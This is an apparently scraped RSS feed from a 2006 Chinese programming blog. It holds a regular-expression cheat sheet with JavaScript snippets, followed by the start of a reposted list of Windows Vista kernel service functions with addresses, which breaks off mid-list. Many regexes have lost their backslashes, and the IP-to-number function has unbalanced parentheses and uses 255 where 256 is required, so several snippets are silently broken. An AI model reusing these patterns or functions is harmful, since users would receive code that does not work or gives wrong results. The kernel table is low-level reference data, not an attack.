				<span id="Codehighlighter1_914_916_Open_Text">
						<span style="COLOR: #000000">{</span>
						<span style="COLOR: #000000">4</span>
						<span style="COLOR: #000000">}</span>
				</span>
				<span style="COLOR: #000000">)$</span>
				<span style="COLOR: #000000">/</span>
				<span style="COLOR: #000000">   </span>
				<span style="COLOR: #008000">//</span>
				<span style="COLOR: #008000"> 月/日/年</span>
				<span style="COLOR: #008000">
						<br />
						<a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank">
						</a>
				</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">^([w-.]+)@(([[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.)|(([w-]+.)+))([a-zA-Z]{2,4}|[0-9]{1,3})(]?)$</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">   </span>
				<span style="COLOR: #008000">//</span>
				<span style="COLOR: #008000">Emil</span>
				<span style="COLOR: #008000">
						<br />
						<a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank">
						</a>
				</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">(d+-)?(d{4}-?d{7}|d{3}-?d{8}|^d{7,8})(-d+)?</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">     </span>
				<span style="COLOR: #008000">//</span>
				<span style="COLOR: #008000">电话号码</span>
				<span style="COLOR: #008000">
						<br />
						<a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank">
						</a>
				</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">^(d{1,2}|1dd|2[0-4]d|25[0-5]).(d{1,2}|1dd|2[0-4]d|25[0-5]).(d{1,2}|1dd|2[0-4]d|25[0-5]).(d{1,2}|1dd|2[0-4]d|25[0-5])$</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">   </span>
				<span style="COLOR: #008000">//</span>
				<span style="COLOR: #008000">IP地址</span>
				<br />
		</p>
		<p> </p>
		<p>匹配中文字符的正则表达式： [\u4e00-\u9fa5]<br />匹配双字节字符(包括汉字在内)：[^\x00-\xff]<br />匹配空行的正则表达式：\n[\s| ]*\r<br />匹配HTML标记的正则表达式：/&lt;(.*)&gt;.*&lt;\/\1&gt;|&lt;(.*) \/&gt;/<br />匹配首尾空格的正则表达式：(^\s*)|(\s*$)<br />匹配Email地址的正则表达式：\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*<br />匹配网址URL的正则表达式：^[a-zA-z]+://(\\w+(-\\w+)*)(\\.(\\w+(-\\w+)*))*(\\?\\S*)?$<br />匹配帐号是否合法(字母开头，允许5-16字节，允许字母数字下划线)：^[a-zA-Z][a-zA-Z0-9_]{4,15}$<br />匹配国内电话号码：(\d{3}-|\d{4}-)?(\d{8}|\d{7})?<br />匹配腾讯QQ号：^[1-9]*[1-9][0-9]*$<br /></p>
		<p>
				<u>下表是元字符及其在正则表达式上下文中的行为的一个完整列表： <br /></u>
				<br />
				<strong>\</strong> 将下一个字符标记为一个特殊字符、或一个原义字符、或一个后向引用、或一个八进制转义符。<br /><br /><strong>^</strong> 匹配输入字符串的开始位置。如果设置了 RegExp 对象的Multiline 属性，^ 也匹配 ’\n’ 或 ’\r’ 之后的位置。 <br /><br /><strong>$</strong> 匹配输入字符串的结束位置。如果设置了 RegExp 对象的Multiline 属性，$ 也匹配 ’\n’ 或 ’\r’ 之前的位置。 <br /><br /><strong>*</strong> 匹配前面的子表达式零次或多次。 <br /><br /><strong>+</strong> 匹配前面的子表达式一次或多次。+ 等价于 {1,}。 <br /><br /><strong>?</strong> 匹配前面的子表达式零次或一次。? 等价于 {0,1}。 <br /><br /><strong>{n}</strong> n 是一个非负整数，匹配确定的n 次。<br /><br /><strong>{n,}</strong> n 是一个非负整数，至少匹配n 次。 <br /><br /><strong>{n,m}</strong> m 和 n 均为非负整数，其中n &lt;= m。最少匹配 n 次且最多匹配 m 次。在逗号和两个数之间不能有空格。<br /><br /><strong>?</strong> 当该字符紧跟在任何一个其他限制符 (*, +, ?, {n}, {n,}, {n,m}) 后面时，匹配模式是非贪婪的。非贪婪模式尽可能少的匹配所搜索的字符串，而默认的贪婪模式则尽可能多的匹配所搜索的字符串。 <br /><br /><strong>.</strong> 匹配除 "\n" 之外的任何单个字符。要匹配包括 ’\n’ 在内的任何字符，请使用象 ’[.\n]’ 的模式。 <br /><strong>(pattern)</strong> 匹配pattern 并获取这一匹配。 <br /><br /><strong>(?:pattern)</strong> 匹配pattern 但不获取匹配结果，也就是说这是一个非获取匹配，不进行存储供以后使用。 <br /><br /><strong>(?=pattern)</strong> 正向预查，在任何匹配 pattern 的字符串开始处匹配查找字符串。这是一个非获取匹配，也就是说，该匹配不需要获取供以后使用。 <br /><br /><strong>(?!pattern)</strong> 负向预查，与<strong>(?=pattern)</strong>作用相反 <br /><br /><strong>x|y</strong> 匹配 x 或 y。 <br /><br /><strong>[xyz]</strong> 字符集合。 <br /><br /><strong>[^xyz]</strong> 负值字符集合。 <br /><br /><strong>[a-z]</strong> 字符范围，匹配指定范围内的任意字符。 <br /><br /><strong>[^a-z]</strong> 负值字符范围，匹配任何不在指定范围内的任意字符。 <br /><br /><strong>\b</strong> 匹配一个单词边界，也就是指单词和空格间的位置。<br /><br /><strong>\B</strong> 匹配非单词边界。 <br /><br /><strong>\cx</strong> 匹配由x指明的控制字符。 <br /><br /><strong>\d</strong> 匹配一个数字字符。等价于 [0-9]。 <br /><br /><strong>\D</strong> 匹配一个非数字字符。等价于 [^0-9]。 <br /><br /><strong>\f</strong> 匹配一个换页符。等价于 \x0c 和 \cL。 <br /><br /><strong>\n</strong> 匹配一个换行符。等价于 \x0a 和 \cJ。 <br /><br /><strong>\r</strong> 匹配一个回车符。等价于 \x0d 和 \cM。 <br /><br /><strong>\s</strong> 匹配任何空白字符，包括空格、制表符、换页符等等。等价于[ \f\n\r\t\v]。 <br /><br /><strong>\S</strong> 匹配任何非空白字符。等价于 [^ \f\n\r\t\v]。 <br /><br /><strong>\t</strong> 匹配一个制表符。等价于 \x09 和 \cI。 <br /><br /><strong>\v</strong> 匹配一个垂直制表符。等价于 \x0b 和 \cK。 <br /><br /><strong>\w</strong> 匹配包括下划线的任何单词字符。等价于’[A-Za-z0-9_]’。 <br /><br /><strong>\W</strong> 匹配任何非单词字符。等价于 ’[^A-Za-z0-9_]’。 <br /><br /><strong>\xn</strong> 匹配 n，其中 n 为十六进制转义值。十六进制转义值必须为确定的两个数字长。<br /><br /><strong>\num</strong> 匹配 num，其中num是一个正整数。对所获取的匹配的引用。 <br /><br /><strong>\n</strong> 标识一个八进制转义值或一个后向引用。如果 \n 之前至少 n 个获取的子表达式，则 n 为后向引用。否则，如果 n 为八进制数字 (0-7)，则 n 为一个八进制转义值。 <br /><br /><strong>\nm</strong> 标识一个八进制转义值或一个后向引用。如果 \nm 之前至少有is preceded by at least nm 个获取得子表达式，则 nm 为后向引用。如果 \nm 之前至少有 n 个获取，则 n 为一个后跟文字 m 的后向引用。如果前面的条件都不满足，若 n 和 m 均为八进制数字 (0-7)，则 \nm 将匹配八进制转义值 nm。 <br /><br /><strong>\nml</strong> 如果 n 为八进制数字 (0-3)，且 m 和 l 均为八进制数字 (0-7)，则匹配八进制转义值 nml。 <br /><br /><strong>\un</strong> 匹配 n，其中 n 是一个用四个十六进制数字表示的Unicode字符。 <br /></p>
		<p>匹配中文字符的正则表达式： [u4e00-u9fa5]</p>
		<p>匹配双字节字符(包括汉字在内)：[^x00-xff]</p>
		<p>应用：计算字符串的长度（一个双字节字符长度计2，ASCII字符计1）</p>
		<p>String.prototype.len=function(){return this.replace([^x00-xff]/g,"aa").length;}</p>
		<p>匹配空行的正则表达式：n[s| ]*r</p>
		<p>匹配HTML标记的正则表达式：/&lt;(.*)&gt;.*&lt;/1&gt;|&lt;(.*) /&gt;/ </p>
		<p>匹配首尾空格的正则表达式：(^s*)|(s*$)</p>
		<p>应用：javascript中没有像vbscript那样的trim函数，我们就可以利用这个表达式来实现，如下：</p>
		<p>String.prototype.trim = function()<br />{<br />return this.replace(/(^s*)|(s*$)/g, "");<br />}</p>
		<p>利用正则表达式分解和转换IP地址：</p>
		<p>下面是利用正则表达式匹配IP地址，并将IP地址转换成对应数值的Javascript程序：</p>
		<p>function IP2V(ip)<br />{<br />re=/(d+).(d+).(d+).(d+)/g //匹配IP地址的正则表达式<br />if(re.test(ip))<br />{<br />return RegExp.$1*Math.pow(255,3))+RegExp.$2*Math.pow(255,2))+RegExp.$3*255+RegExp.$4*1<br />}<br />else<br />{<br />throw new Error("Not a valid IP address!")<br />}<br />}</p>
		<p>不过上面的程序如果不用正则表达式，而直接用split函数来分解可能更简单，程序如下：</p>
		<p>var ip="10.100.20.168"<br />ip=ip.split(".")<br />alert("IP值是："+(ip[0]*255*255*255+ip[1]*255*255+ip[2]*255+ip[3]*1))</p>
		<p>匹配Email地址的正则表达式：w+([-+.]w+)*@w+([-.]w+)*.w+([-.]w+)*</p>
		<p>匹配网址URL的正则表达式：http://([w-]+.)+[w-]+(/[w- ./?%&amp;=]*)?</p>
		<p>利用正则表达式去除字串中重复的字符的算法程序：</p>
		<p>var s="abacabefgeeii"<br />var s1=s.replace(/(.).*1/g,"$1")<br />var re=new RegExp("["+s1+"]","g")<br />var s2=s.replace(re,"") <br />alert(s1+s2) //结果为：abcefgi</p>
		<p>我原来在CSDN上发贴寻求一个表达式来实现去除重复字符的方法，最终没有找到，这是我能想到的最简单的实现方法。思路是使用后向引用取出包括重复的字符，再以重复的字符建立第二个表达式，取到不重复的字符，两者串连。这个方法对于字符顺序有要求的字符串可能不适用。</p>
		<p>得用正则表达式从URL地址中提取文件名的javascript程序，如下结果为page1</p>
		<p>s="http://www.9499.net/page1.htm"<br />s=s.replace(/(.*/){0,}([^.]+).*/ig,"$2")<br />alert(s)</p>
		<p>利用正则表达式限制网页表单里的文本框输入内容：</p>
		<p>用正则表达式限制只能输入中文：onkeyup="value=value.replace(/[^u4E00-u9FA5]/g,'')" onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^u4E00-u9FA5]/g,''))"</p>
		<p>用正则表达式限制只能输入全角字符： onkeyup="value=value.replace(/[^uFF00-uFFFF]/g,'')" onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^uFF00-uFFFF]/g,''))"</p>
		<p>用正则表达式限制只能输入数字：onkeyup="value=value.replace(/[^d]/g,'') "onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^d]/g,''))"</p>
		<p>用正则表达式限制只能输入数字和英文：onkeyup="value=value.replace(/[W]/g,'') "onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^d]/g,''))"</p>
<img src ="http://www.cppblog.com/shenhuafeng/aggbug/16612.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/shenhuafeng/" target="_blank">CPP&&设计模式小屋</a> 2006-12-19 14:21 <a href="http://www.cppblog.com/shenhuafeng/archive/2006/12/19/16612.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Windows Vista中系统内核函数(转)</title><link>http://www.cppblog.com/shenhuafeng/archive/2006/12/12/16326.html</link><dc:creator>CPP&amp;&amp;设计模式小屋</dc:creator><author>CPP&amp;&amp;设计模式小屋</author><pubDate>Tue, 12 Dec 2006 08:46:00 GMT</pubDate><guid>http://www.cppblog.com/shenhuafeng/archive/2006/12/12/16326.html</guid><wfw:comment>http://www.cppblog.com/shenhuafeng/comments/16326.html</wfw:comment><comments>http://www.cppblog.com/shenhuafeng/archive/2006/12/12/16326.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/shenhuafeng/comments/commentRss/16326.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/shenhuafeng/services/trackbacks/16326.html</trackback:ping><description><![CDATA[
		<p>
				<font color="#0000ff">
						<font color="#000000">AUTH: whg(无花果) <br />MAIL: whg0001@163.com<br />SITE: http://www.cnasm.com<br /></font>
						<br />VISTA 内核服务函数列表，数量=0x18E(比NT多150个系统服务函数) <br />WIN2K3/sp1 内核服务函数列表，数量=0x127(比NT多47个系统服务函数) <br />winxp/sp2 内核服务函数列表，数量=0x11C(比NT多36个系统服务函数) <br />winnt/sp4 内核服务函数列表，数量=0x0F8 <br /><br /></font>
				<br />VISTA 内核服务函数列表，数量=18E <br />(此表由创建于CNASM内部系统分析工具3.0) <br /><font color="#ff0000"><br />编号  地址     名字(参数个数)</font><br />000=806F916A:ZwAcceptConnectPort(06)<br />001=8050BF4F:ZwAccessCheck(08)<br />002=806C22BD:ZwAccessCheckAndAuditAlarm(0B)<br />003=804FC7EF:ZwAccessCheckByType(0B)<br />004=806FC1EE:ZwAccessCheckByTypeAndAuditAlarm(10)<br />005=805A755A:ZwAccessCheckByTypeResultList(0B)<br />006=80754AE5:ZwAccessCheckByTypeResultListAndAuditAlarm(10)<br />007=80754B2E:ZwAccessCheckByTypeResultListAndAuditAlarmByHandle(11)<br />008=806EC1EE:ZwAddAtom(03)<br />009=8076A8AE:ZwAddBootEntry(02)<br />00A=8076BB52:ZwAddDriverEntry(02)<br />00B=8065A1D6:ZwAdjustGroupsToken(06)<br />00C=806CEAE0:ZwAdjustPrivilegesToken(06)<br />00D=80745CBB:ZwAlertResumeThread(02)<br />00E=80745C63:ZwAlertThread(01)<br />00F=80675E5F:ZwAllocateLocallyUniqueId(01)<br />010=807374F3:ZwAllocateUserPhysicalPages(03)<br />011=80683D62:ZwAllocateUuids(04)<br />012=806A1748:ZwAllocateVirtualMemory(06)<br />013=806BE30D:ZwAlpcAcceptConnectPort(09)<br />014=80649F47:ZwAlpcCancelMessage(03)<br />015=806BD3FA:ZwAlpcConnectPort(0B)<br />016=8067E7B7:ZwAlpcCreatePort(03)<br />017=80681EB3:ZwAlpcCreatePortSection(06)<br />018=8066CF5C:ZwAlpcCreateResourceReserve(04)<br />019=80681C83:ZwAlpcCreateSectionView(03)<br />01A=806F13E6:ZwAlpcCreateSecurityContext(03)<br />01B=8068204D:ZwAlpcDeletePortSection(03)<br />01C=807303B0:ZwAlpcDeleteResourceReserve(03)<br />01D=80669528:ZwAlpcDeleteSectionView(03)<br />01E=806FC50C:ZwAlpcDeleteSecurityContext(03)<br />01F=8066A340:ZwAlpcDisconnectPort(02)<br />020=806C2115:ZwAlpcImpersonateClientOfPort(03)<br />021=807319F4:ZwAlpcOpenSenderProcess(06)<br />022=80731FA5:ZwAlpcOpenSenderThread(06)<br />023=80680670:ZwAlpcQueryInformation(05)<br />024=806C1D9E:ZwAlpcQueryInformationMessage(06)<br />025=807304D0:ZwAlpcRevokeSecurityContext(03)<br />026=806BD62B:ZwAlpcSendWaitReceivePort(08)<br />027=80676164:ZwAlpcSetInformation(04)<br />028=806EB6F1:ZwApphelpCacheControl(02)<br />029=80639B60:ZwAreMappedFilesTheSame(02)<br />02A=806864B8:ZwAssignProcessToJobObject(02)<br />02B=8052EC4C:ZwCallbackReturn(03)<br />02C=80740445:ZwCancelDeviceWakeupRequest(01)<br />02D=8065C0D7:ZwCancelIoFile(02)<br />02E=804FC825:ZwCancelTimer(02)<br />02F=806FA8C4:ZwClearEvent(01)<br />030=806B49C8:ZwClose(01)<br />031=806FC113:ZwCloseObjectAuditAlarm(03)<br />032=807013EF:ZwCompactKeys(02)<br />033=806818A6:ZwCompareTokens(03)<br />034=806F91E7:ZwCompleteConnectPort(01)<br />035=80701679:ZwCompressKey(01)<br />036=806F913D:ZwConnectPort(08)<br />037=80521E28:ZwContinue(02)<br />038=80713026:ZwCreateDebugObject(04)<br />039=8063BD44:ZwCreateDirectoryObject(03)<br />03A=806DFD23:ZwCreateEvent(05)<br />03B=8076F22D:ZwCreateEventPair(03)<br />03C=806F07D5:ZwCreateFile(0B)<br />03D=806EAB47:ZwCreateIoCompletion(04)<br />03E=80688AE4:ZwCreateJobObject(03)<br />03F=807479DB:ZwCreateJobSet(03)<br />040=8067174A:ZwCreateKey(07)<br />041=806FF0EE:ZwCreateKeyTransacted(08)<br />042=8066D58B:ZwCreateMailslotFile(08)<br />043=806EE6C7:ZwCreateMutant(04)<br />044=806E4562:ZwCreateNamedPipeFile(0E)<br />045=8062E5B5:ZwCreatePrivateNamespace(04)<br />046=8061A905:ZwCreatePagingFile(04)<br />047=8063F197:ZwCreatePort(05)<br />048=80743BA4:ZwCreateProcess(08)<br />049=80743BEF:ZwCreateProcessEx(09)<br />04A=8076F8B7:ZwCreateProfile(09)<br />04B=806DB493:ZwCreateSection(07)<br />04C=806EAC4E:ZwCreateSemaphore(05)<br />04D=80643DFB:ZwCreateSymbolicLinkObject(04)<br />04E=807439E3:ZwCreateThread(08)<br />04F=806735C1:ZwCreateTimer(04)<br />050=8066C6C7:ZwCreateToken(0D)<br />051=80650684:ZwCreateTransaction(0A)<br />052=80619645:ZwOpenTransaction(05)<br />053=807576FA:ZwQueryInformationTransaction(05)<br />054=80619DFE:ZwQueryInformationTransactionManager(05)<br />055=8075827C:ZwPrePrepareEnlistment(02)<br />056=807581BB:ZwPrepareEnlistment(02)<br />057=8075833D:ZwCommitEnlistment(02)<br />058=807587D4:ZwReadOnlyEnlistment(02)<br />059=80758893:ZwRollbackComplete(02)<br />05A=807583FE:ZwRollbackEnlistment(02)<br />05B=80654BFE:ZwCommitTransaction(02)<br />05C=80757C10:ZwRollbackTransaction(02)<br />05D=80758580:ZwPrePrepareComplete(02)<br />05E=807584BF:ZwPrepareComplete(02)<br />05F=80758641:ZwCommitComplete(02)<br />060=80758715:ZwSinglePhaseReject(02)<br />061=80757C79:ZwSetInformationTransaction(04)<br />062=80759183:ZwSetInformationTransactionManager(04)<br />063=80758CA8:ZwSetInformationResourceManager(04)<br />064=80618C17:ZwCreateTransactionManager(06)<br />065=80758E49:ZwOpenTransactionManager(06)<br />066=807590B8:ZwRollforwardTransactionManager(02)<br />067=80757DDB:ZwRecoverEnlistment(02)<br />068=80619C40:ZwRecoverResourceManager(01)<br />069=806194A6:ZwRecoverTransactionManager(01)<br />06A=8064CE7F:ZwCreateResourceManager(07)<br />06B=8061C2C7:ZwOpenResourceManager(05)<br />06C=80758964:ZwGetNotificationResourceManager(07)<br />06D=80758A79:ZwQueryInformationResourceManager(05)<br />06E=80650B7D:ZwCreateEnlistment(08)<br />06F=8061C46C:ZwOpenEnlistment(05)<br />070=8075801E:ZwSetInformationEnlistment(04)<br />071=80757E37:ZwQueryInformationEnlistment(05)<br />072=807576E2:ZwStartTm(00)<br />073=8062EC94:ZwCreateWaitablePort(05)<br />074=80713DEC:ZwDebugActiveProcess(02)<br />075=80714444:ZwDebugContinue(03)<br />076=806FBB9F:ZwDelayExecution(02)<br />077=80682E51:ZwDeleteAtom(01)<br />078=8076A8DF:ZwDeleteBootEntry(01)<br />079=8076BB83:ZwDeleteDriverEntry(01)<br />07A=8063B3D5:ZwDeleteFile(01)<br />07B=8066FF07:ZwDeleteKey(01)<br />07C=8073C33B:ZwDeletePrivateNamespace(01)<br />07D=80754B85:ZwDeleteObjectAuditAlarm(03)<br />07E=806727F4:ZwDeleteValueKey(02)<br />07F=806F8B00:ZwDeviceIoControlFile(0A)<br />080=8061A244:ZwDisplayString(01)<br />081=806EAA00:ZwDuplicateObject(07)<br />082=806929B0:ZwDuplicateToken(06)<br />083=8076AAE0:ZwEnumerateBootEntries(02)<br />084=8076BD82:ZwEnumerateDriverEntries(02)<br />085=806C8DEC:ZwEnumerateKey(06)<br />086=8076A6AF:ZwEnumerateSystemEnvironmentValuesEx(03)<br />087=805A7AAB:ZwEnumerateTransactionObject(05)<br />088=806E4F6A:ZwEnumerateValueKey(06)<br />089=80734D53:ZwExtendSection(02)<br />08A=806741C5:ZwFilterToken(06)<br />08B=8067467C:ZwFindAtom(03)<br />08C=806E1B7F:ZwFlushBuffersFile(02)<br />08D=806810EC:ZwFlushInstructionCache(03)<br />08E=80643BE3:ZwFlushKey(01)<br />08F=804FA390:ZwFlushProcessWriteBuffers(00)<br />090=806DD24E:ZwFlushVirtualMemory(04)<br />091=807384F8:ZwFlushWriteBuffer(00)<br />092=80737C22:ZwFreeUserPhysicalPages(03)<br />093=8054F833:ZwFreeVirtualMemory(04)<br />094=8057BFC4:ZwFreezeRegistry(01)<br />095=805A7CB3:ZwFreezeTransactions(02)<br />096=80690B5D:ZwFsControlFile(0A)<br />097=806FD78A:ZwGetContextThread(02)<br />098=80740477:ZwGetDevicePowerState(02)<br />099=806600F1:ZwGetNlsSectionPtr(05)<br />09A=806790CC:ZwGetPlugPlayEvent(04)<br />09B=80595BA0:ZwGetWriteWatch(07)<br />09C=8068052D:ZwImpersonateAnonymousToken(01)<br />09D=806FAC56:ZwImpersonateClientOfPort(02)<br />09E=8068786C:ZwImpersonateThread(03)<br />09F=806F19D4:ZwInitializeNlsFiles(03)<br />0A0=8063B2D1:ZwInitializeRegistry(01)<br />0A1=80740250:ZwInitiatePowerAction(04)<br />0A2=806EBA10:ZwIsProcessInJob(02)<br />0A3=8074045B:ZwIsSystemResumeAutomatic(00)<br />0A4=8062E024:ZwListenPort(02)<br />0A5=8062DB81:ZwLoadDriver(01)<br />0A6=8064FEE1:ZwLoadKey(02)<br />0A7=806FFCB3:ZwLoadKey2(03)<br />0A8=8064F4E0:ZwLoadKeyEx(08)<br />0A9=806DE1AD:ZwLockFile(0A)<br />0AA=806621E3:ZwLockProductActivationKeys(02)<br />0AB=8060823D:ZwLockRegistryKey(01)<br />0AC=804EFE25:ZwLockVirtualMemory(04)<br />0AD=80644800:ZwMakePermanentObject(01)<br />0AE=80643B7E:ZwMakeTemporaryObject(01)<br />0AF=80736A1D:ZwMapUserPhysicalPages(03)<br />0B0=80736EDF:ZwMapUserPhysicalPagesScatter(03)<br />0B1=806E284C:ZwMapViewOfSection(0A)<br />0B2=8076AAAF:ZwModifyBootEntry(01)<br />0B3=8076BD53:ZwModifyDriverEntry(01)<br />0B4=80667AF9:ZwNotifyChangeDirectoryFile(09)<br />0B5=8069280F:ZwNotifyChangeKey(0A)<br />0B6=80691C84:ZwNotifyChangeMultipleKeys(0C)<br />0B7=806C231E:ZwOpenDirectoryObject(03)<br />0B8=806E51E4:ZwOpenEvent(03)<br />0B9=8076F363:ZwOpenEventPair(03)<br />0BA=806EFADB:ZwOpenFile(06)<br />0BB=8071CDC3:ZwOpenIoCompletion(03)<br />0BC=80747687:ZwOpenJobObject(03)<br />0BD=806FD826:ZwOpenKey(03)<br />0BE=806FF4EF:ZwOpenKeyTransacted(04)<br />0BF=8067F7D4:ZwOpenMutant(03)<br />0C0=8066118D:ZwOpenPrivateNamespace(04)<br />0C1=8066D9AB:ZwOpenObjectAuditAlarm(0C)<br />0C2=806C25EC:ZwOpenProcess(04)<br />0C3=806F8B33:ZwOpenProcessToken(03)<br />0C4=806F3C7A:ZwOpenProcessTokenEx(04)<br />0C5=806F2C6C:ZwOpenSection(03)<br />0C6=806896D5:ZwOpenSemaphore(03)<br />0C7=80624549:ZwOpenSession(03)<br />0C8=806E4648:ZwOpenSymbolicLinkObject(03)<br />0C9=806E268C:ZwOpenThread(04)<br />0CA=806C0A2D:ZwOpenThreadToken(04)<br />0CB=806AF2F0:ZwOpenThreadTokenEx(05)<br />0CC=8076EFDC:ZwOpenTimer(03)<br />0CD=8067FFC1:ZwPlugPlayControl(03)<br />0CE=806DFE47:ZwPowerInformation(05)<br />0CF=8066F689:ZwPrivilegeCheck(03)<br />0D0=8062EA76:ZwPrivilegeObjectAuditAlarm(06)<br />0D1=8066A406:ZwPrivilegedServiceAuditAlarm(05)<br />0D2=806E2035:ZwProtectVirtualMemory(05)<br />0D3=8062F68E:ZwPulseEvent(02)<br />0D4=806F77B5:ZwQueryAttributesFile(02)<br />0D5=8076AF91:ZwQueryBootEntryOrder(02)<br />0D6=8076B3ED:ZwQueryBootOptions(02)<br />0D7=80546C18:ZwQueryDebugFilterState(02)<br />0D8=806EA3C3:ZwQueryDefaultLocale(02)<br />0D9=8063C3D0:ZwQueryDefaultUILanguage(01)<br />0DA=806F1DB9:ZwQueryDirectoryFile(0B)<br />0DB=80687439:ZwQueryDirectoryObject(07)<br />0DC=8076B903:ZwQueryDriverEntryOrder(02)<br />0DD=806154CA:ZwQueryEaFile(09)<br />0DE=80670195:ZwQueryEvent(05)<br />0DF=806FBC44:ZwQueryFullAttributesFile(02)<br />0E0=8065F224:ZwQueryInformationAtom(05)<br />0E1=806CA188:ZwQueryInformationFile(05)<br />0E2=80642CFA:ZwQueryInformationJobObject(05)<br />0E3=8072D839:ZwQueryInformationPort(05)<br />0E4=806AFB39:ZwQueryInformationProcess(05)<br />0E5=806CC3FD:ZwQueryInformationThread(05)<br />0E6=806F4F20:ZwQueryInformationToken(05)<br />0E7=806EE2ED:ZwQueryInstallUILanguage(01)<br />0E8=8076FDAB:ZwQueryIntervalProfile(02)<br />0E9=8071CE9A:ZwQueryIoCompletion(05)<br />0EA=806CE69C:ZwQueryKey(05)<br />0EB=8070094D:ZwQueryMultipleValueKey(06)<br />0EC=8076F6B2:ZwQueryMutant(05)<br />0ED=806DEF4E:ZwQueryObject(05)<br />0EE=80700BA9:ZwQueryOpenSubKeys(02)<br />0EF=80700E2F:ZwQueryOpenSubKeysEx(04)<br />0F0=806BAD12:ZwQueryPerformanceCounter(02)<br />0F1=8071E57F:ZwQueryQuotaInformationFile(09)<br />0F2=8065F631:ZwQuerySection(05)<br />0F3=806EC0CD:ZwQuerySecurityObject(05)<br />0F4=80768E0C:ZwQuerySemaphore(05)<br />0F5=806E75B7:ZwQuerySymbolicLinkObject(03)<br />0F6=80769AD7:ZwQuerySystemEnvironmentValue(04)<br />0F7=8076A0E5:ZwQuerySystemEnvironmentValueEx(05)<br />0F8=806A5A70:ZwQuerySystemInformation(04)<br />0F9=806BE61E:ZwQuerySystemTime(01)<br />0FA=8076F0AF:ZwQueryTimer(05)<br />0FB=8068AE96:ZwQueryTimerResolution(03)<br />0FC=806EF018:ZwQueryValueKey(06)<br />0FD=806D1122:ZwQueryVirtualMemory(06)<br />0FE=806D1E9D:ZwQueryVolumeInformationFile(05)<br />0FF=80680479:ZwQueueApcThread(05)<br />100=80521E70:ZwRaiseException(03)<br />101=8065EB2B:ZwRaiseHardError(06)<br />102=806B8330:ZwReadFile(09)<br />103=80666B3B:ZwReadFileScatter(09)<br />104=806FB0F9:ZwReadRequestData(06)<br />105=806EAE97:ZwReadVirtualMemory(05)<br />106=8074537F:ZwRegisterThreadTerminatePort(01)<br />107=806E26D1:ZwReleaseMutant(02)<br />108=806FAA76:ZwReleaseSemaphore(03)<br />109=806C0A4E:ZwRemoveIoCompletion(05)<br />10A=80713F37:ZwRemoveProcessDebug(02)<br />10B=8070116F:ZwRenameKey(02)<br />10C=80700822:ZwReplaceKey(03)<br />10D=806C0EFA:ZwReplyPort(02)<br />10E=806B962E:ZwReplyWaitReceivePort(04)<br />10F=806B94DD:ZwReplyWaitReceivePortEx(05)<br />110=8072D9FF:ZwReplyWaitReplyPort(02)<br />111=80740445:ZwRequestDeviceWakeup(01)<br />112=80664BBB:ZwRequestPort(02)<br />113=806BFCC1:ZwRequestWaitReplyPort(03)<br />114=807401F3:ZwRequestWakeupLatency(01)<br />115=806EE88F:ZwResetEvent(02)<br />116=8059641F:ZwResetWriteWatch(03)<br />117=806FF7C7:ZwRestoreKey(03)<br />118=80745C05:ZwResumeProcess(01)<br />119=806E21CA:ZwResumeThread(02)<br />11A=806FF8E7:ZwSaveKey(02)<br />11B=806FF9EE:ZwSaveKeyEx(03)<br />11C=806FFB3B:ZwSaveMergedKeys(03)<br />11D=80758702:ZwClearSavepointTransaction(02)<br />11E=80740445:ZwClearAllSavepointsTransaction(01)<br />11F=80758702:ZwRollbackSavepointTransaction(02)<br />120=80757BF7:ZwSavepointTransaction(03)<br />121=80758702:ZwSavepointComplete(02)<br />122=806F8B53:ZwSecureConnectPort(09)<br />123=8076B1E0:ZwSetBootEntryOrder(02)<br />124=8076B6E2:ZwSetBootOptions(02)<br />125=80744D5F:ZwSetContextThread(02)<br />126=806052B0:ZwSetDebugFilterState(03)<br />127=80622B53:ZwSetDefaultHardErrorPort(01)<br />128=8063BF7E:ZwSetDefaultLocale(02)<br />129=8063CB25:ZwSetDefaultUILanguage(01)<br />12A=8076C193:ZwSetDriverEntryOrder(02)<br />12B=8071DFCA:ZwSetEaFile(04)<br />12C=806BC7D1:ZwSetEvent(02)<br />12D=80768AD3:ZwSetEventBoostPriority(01)<br />12E=8076F643:ZwSetHighEventPair(01)<br />12F=8076F575:ZwSetHighWaitLowEventPair(01)<br />130=807145A7:ZwSetInformationDebugObject(05)<br />131=806D7925:ZwSetInformationFile(05)<br />132=80687E53:ZwSetInformationJobObject(04)<br />133=807003BF:ZwSetInformationKey(04)<br />134=806D2379:ZwSetInformationObject(04)<br />135=806A981A:ZwSetInformationProcess(04)<br />136=806B774C:ZwSetInformationThread(04)<br />137=806F95E6:ZwSetInformationToken(04)<br />138=8076FD86:ZwSetIntervalProfile(02)<br />139=806D1960:ZwSetIoCompletion(05)<br />13A=8074733D:ZwSetLdtEntries(06)<br />13B=8076F5E0:ZwSetLowEventPair(01)<br />13C=8076F50A:ZwSetLowWaitHighEventPair(01)<br />13D=8071EBD1:ZwSetQuotaInformationFile(04)<br />13E=806870F9:ZwSetSecurityObject(03)<br />13F=80769DE3:ZwSetSystemEnvironmentValue(02)<br />140=8076A40B:ZwSetSystemEnvironmentValueEx(05)<br />141=806CF91F:ZwSetSystemInformation(03)<br />142=80795848:ZwSetSystemPowerState(03)<br />143=807656F9:ZwSetSystemTime(02)<br />144=806642FE:ZwSetThreadExecutionState(02)<br 